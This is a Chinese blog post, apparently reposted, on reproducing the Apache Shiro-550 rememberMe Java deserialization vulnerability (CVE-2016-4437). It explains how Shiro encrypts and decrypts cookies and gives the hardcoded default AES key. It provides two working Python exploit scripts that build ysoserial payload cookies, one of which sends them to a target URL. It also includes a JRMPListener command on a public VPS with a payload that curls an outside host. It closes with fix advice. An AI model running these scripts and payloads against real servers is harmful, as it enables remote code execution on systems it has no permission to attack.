浅谈近期复现 shiro反序列化漏洞的一些心得

Posted LE分享互联

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了浅谈近期复现 shiro反序列化漏洞的一些心得相关的知识,希望对你有一定的参考价值。



引言
浅谈近期复现 shiro反序列化漏洞的一些心得

最近复现了一个shiro的反序列化漏洞,也是折腾了半天才搞出来,因此发出来和大家一起探讨~


一、shiro简介
浅谈近期复现 shiro反序列化漏洞的一些心得
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。Shiro有三大核心组件,分别是 Subject, SecurityManager 和 Realms。
浅谈近期复现 shiro反序列化漏洞的一些心得
二、shiro反序列化漏洞概述
Apache Shiro 在Java安全验证框架中使用广泛,2016年,编号为550的issue中爆出严重的 Java反序列化漏,也称为Shiro-550,网上有很多的漏洞复现环境,也可以直接dock部署,这里就不赘述了。历史上Shiro 出现过很多个漏洞,编号有:
1. CVE-2010-3863:影响Shiro1.1.0之前版本,由于程序shiro.ini 文件未对URL 地址规范化校验,从而可以目录穿越,例如 /./account/index.jsp
2. CVE-2014-0074: 影响Shiro1.x志1.2.3版本,主要是在应用LDAP允许未鉴权绑定时,空口令可绕过系统的认证
3. CVE-2016-4437 :影响Shiro<1.2.5版本,当未设置用于“remember me” 特性的AES密钥时,存在反序列化漏洞,可远程命令执行。
4. CVE-2016-6802:影响Shiro<1.3.2版本,允许攻击者通过使用非根servlet上下文路径来绕过预期的servlet filter并获得访问权限
5. CVE-2019-12422 :影响Shiro<1.4.2的所有版本,当使用默认的“rememberme”配置时,cookies可能容易受到填充(padding-oracle)攻击。


不难看出,加红颜色的CVE编号均表示为Shiro反序列化漏洞,反复说的"Rememberme"究竟是什么来头,我们一起来了解下。

Shiro提供了记住我(RememberMe)的功能,即使关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问,基本流程如下:

  1. 首先在登录页面选中RememberMe然后登录成功;如果是浏览器登录,一般会把RememberMe的Cookie写到客户端并保存下来;

  2. 关闭浏览器再重新打开;会发现浏览器还是记住你的;

  3. 访问一般的网页服务器端还是知道你是谁,且能正常访问;


<!-- rememberMe管理器 -->
<bean id="rememberMeManager" class="org.apache.shiro.web.mgt.CookieRememberMeManager">
<property name="cipherKey" value="#{T(org.apache.shiro.codec.Base64).decode('4AvVhmFLUs0KTA3Kprsdag==')}" />
<property name="cookie" ref="rememberMeCookie" />
</bean>
三、shiro反序列化漏洞分析与复现
浅谈近期复现 shiro反序列化漏洞的一些心得

官网漏洞说明:https://issues.apache.org/jira/browse/SHIRO-550,大致明白了Shiro-550( CVE-2016-4437)是使用了RememberMe功能, Shiro对rememberMe的cookie做了加密处理,shiro CookieRememberMeManaer 类中将cookie中rememberMe字段内容分别进行 序列化、AES加密、Base64编码操作。然而当接收未验证身份的请求时,Shiro需要对Cookie里的rememberMe字段进行解密操作:
  • Retrieve the value of the rememberMe cookie

  • Base 64 decode

  • Decrypt using AES

  • Deserialize using java serialization (ObjectInputStream).

也就是需要4步,获取rememberMe的cookie值->base64解码->AES解密->java 反序列。

进一步而言,也就是只要我们知道AES密钥,目前任意版本都可以被反序列化。Shiro 目前最新版本为1.4.2,但也未从根本上解决反序列化问题,只不过是从1.2.5版本开始,不在代码里硬编码默认密钥,而是通过密钥生成函数,生成一个随机密钥。在1.2.5版本之前得所有版本,core/src/main/java/org/apache/shiro/mgt/AbstractRememberMeManager 类中,Shiro设置了一个默认密钥: kPH+bIxk5D2deZiIxcaaaA==

浅谈近期复现 shiro反序列化漏洞的一些心得

然后调用了setCipherKey()方法:

浅谈近期复现 shiro反序列化漏洞的一些心得

从1.2.5版本开始,Shiro就不在代码里硬编码默认AES密钥了,而是换了一种方法:

浅谈近期复现 shiro反序列化漏洞的一些心得

并且温馨的提示开发者不要使用默认密钥,而是通过org.apache.shiro.crypto.AesCipherService#generateNewKey() 产生一个密钥~

浅谈近期复现 shiro反序列化漏洞的一些心得

浅谈近期复现 shiro反序列化漏洞的一些心得
浅谈近期复现 shiro反序列化漏洞的一些心得
3.1 加密过程
我们知道处理Cookie的类是
CookieRememberMeManaer ,该类继承 AbstractRememberMeManager 类,跟进 AbstractRememberMeManager 类,很容易看到AES的key如果登录成功,会调用onSuccessfulLogin()方法,shiro先将登录的用户名进行序列化,使用 DefaultSerializer 类的 serialize 方法:
 * @param subject the subject for which the principals are being remembered. * @param token the token that resulted in a successful authentication attempt. * @param info the authentication info resulting from the successful authentication attempt. */ public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) { //always clear any previous identity: forgetIdentity(subject);
//now save the new identity: if (isRememberMe(token)) { rememberIdentity(subject, token, info); } else { if (log.isDebugEnabled()) { log.debug("AuthenticationToken did not indicate RememberMe is requested. " + "RememberMe functionality will not be executed for corresponding account."); } } }
 * @param subject the subject for which the principals are being remembered. * @param accountPrincipals the principals to remember for retrieval later. */ protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) { byte[] bytes = convertPrincipalsToBytes(accountPrincipals); rememberSerializedIdentity(subject, bytes); }

 * @param principals the {@code PrincipalCollection} to convert to a byte array * @return the representative byte array to be persisted for remember me functionality. */ protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) { byte[] bytes = serialize(principals); if (getCipherService() != null) { bytes = encrypt(bytes); } return bytes; }
接着进行AES加密,跟踪到AbstractRememberMeManager类的encrypt方法
* @param serialized the serialized object byte array to be encrypted * @return an encrypted byte array returned by the configured {@link #getCipherService () cipher}. */ protected byte[] encrypt(byte[] serialized) { byte[] value = serialized; CipherService cipherService = getCipherService(); if (cipherService != null) { ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey()); value = byteSource.getBytes(); } return value; }
最后在CookieRememberMeManager类的rememberSerializedIdentity()方法中进行base64加密

3.2 解密过程
和加密过程类似,解密过程顺序相反,有了aeskey,加密模式AES/CBC/PKCS5Padding,就可以顺利解密了。首先是对cookie里面的 remenberMe进行base64解码然后再进行AES解密,最后一步就是反序列化了。关键步骤如下:
1->AES解密:调用AbstractRememberMeManager类的decrypt()方法,将加密的数据进行解密:
 protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { if (getCipherService() != null) { bytes = decrypt(bytes); } return deserialize(bytes); }
 * @param encrypted the encrypted byte array to decrypt * @return the decrypted byte array returned by the configured {@link #getCipherService () cipher}. */ protected byte[] decrypt(byte[] encrypted) { byte[] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized; }
2->反序列化:调用DefaultSerializer类的deserialize()方法
 * @param serialized the raw data resulting from a previous {@link #serialize(Object) serialize} call. * @return the deserialized/reconstituted object based on the given byte array * @throws SerializationException if anything goes wrong using the streams. */ public T deserialize(byte[] serialized) throws SerializationException { if (serialized == null) { String msg = "argument cannot be null."; throw new IllegalArgumentException(msg); } ByteArrayInputStream bais = new ByteArrayInputStream(serialized); BufferedInputStream bis = new BufferedInputStream(bais); try { ObjectInputStream ois = new ClassResolvingObjectInputStream(bis); @SuppressWarnings({"unchecked"}) T deserialized = (T) ois.readObject(); ois.close(); return deserialized; } catch (Exception e) { String msg = "Unable to deserialize argument byte array."; throw new SerializationException(msg, e); } }
上面的代码中可以看到,注意到
 ObjectInputStream ois = new ClassResolvingObjectInputStream(bis); @SuppressWarnings({"unchecked"}) T deserialized = (T) ois.readObject();
所以上述代码是通过 ObjectInputStream类readObject()方法进行反序列化。
一旦程序未能控制反序列化的数据安全性,将会到导致反序列化漏洞, 一旦添加了有漏洞的commons-collections 或者commons-beanutils包,就会造成任意命令执行。
这里有几个危险的基础库:
  • commons-fileupload 1.3.1

  • commons-io 2.4

  • commons-collections 3.1

  • commons-logging 1.2

  • commons-beanutils 1.9.2

  • org.slf4j:slf4j-api 1.7.21

  • com.mchange:mchange-commons-java 0.2.11

  • org.apache.commons:commons-collections 4.0

  • com.mchange:c3p0 0.9.5.2

  • org.beanshell:bsh 2.0b5

  • org.codehaus.groovy:groovy 2.3.9

  • org.springframework:spring-aop 4.1.4.RELEASE

为了证明反序列化漏洞确实存在,我们可以利用ysoserial的URLDNS gadget进行验证,测试能收到DNS请,POC如下:
import sysimport base64import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AES
def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    key  =  "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = ("0" * 16).encode() encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext
if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) with open("/tmp/payload.cookie", "w") as fpw: print("rememberMe={}".format(payload.decode()), file=fpw)


上面的代码会在tmp下生成rememberMe加密后base64的一串字符,将它拷贝到Burpsuite替换要测试的url的cookie所有内容,如下图所示:

浅谈近期复现 shiro反序列化漏洞的一些心得

当然我们可以利用ysoserial的JRMP,具体利用方式如下:
(1)在公网VPS下监控一个JRMP端口:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1088 CommonsCollections2 'curl test.ceye.io'
执行下面的poc
#coding: utf-8
import osimport reimport base64import uuidimport subprocessimport requestsfrom Crypto.Cipher import AES
JAR_FILE = 'ysoserial-0.0.6-SNAPSHOT-all.jar'

def poc(url, rce_command): if '://' not in url: target = 'https://%s' % url if ':443' in url else 'http://%s' % url else: target = url try: payload = generator(rce_command, JAR_FILE) # 生成payload print payload print payload.decode() r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10) # 发送验证请求 print r.text except Exception, e: print(e) pass return False

def generator(command, fp): if not os.path.exists(fp): raise Exception('jar file not found!') popen = subprocess.Popen(['java', '-jar', fp, 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext

poc('http://ip:8080', 'vpsip:12345')
大功告成,不过若想要执行命令的话,还需要反弹一下shell,具体就不在这里说了,因为我也没做这一步。
浅谈近期复现 shiro反序列化漏洞的一些心得
四、漏洞修复建议


  1. 升级Shiro版本到1.2.5及以上

  2. 如果在配置里面自己设置密钥,不要从网上拷贝aes密钥,使用官方提供的密钥生成方法:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()

五、参考链接
1. https://www.cnblogs.com/loong-hon/p/10619616.html
2. https://paper.seebug.org/shiro-rememberme-1-2-4/
3.https://websec.readthedocs.io/zh/latest/language/java/unserialize.html

我知道你肯定直接滑到了最后~

以上是关于浅谈近期复现 shiro反序列化漏洞的一些心得的主要内容,如果未能解决你的问题,请参考以下文章

漏洞实战Apache Shiro反序列化远程代码执行复现及“批量杀鸡”

shiro java 反序列漏洞复现

shiro java 反序列漏洞复现

shiro反序列化漏洞复现

JAVA代码审计之Shiro反序列化漏洞分析

漏洞复现Shiro<=1.2.4反序列化漏洞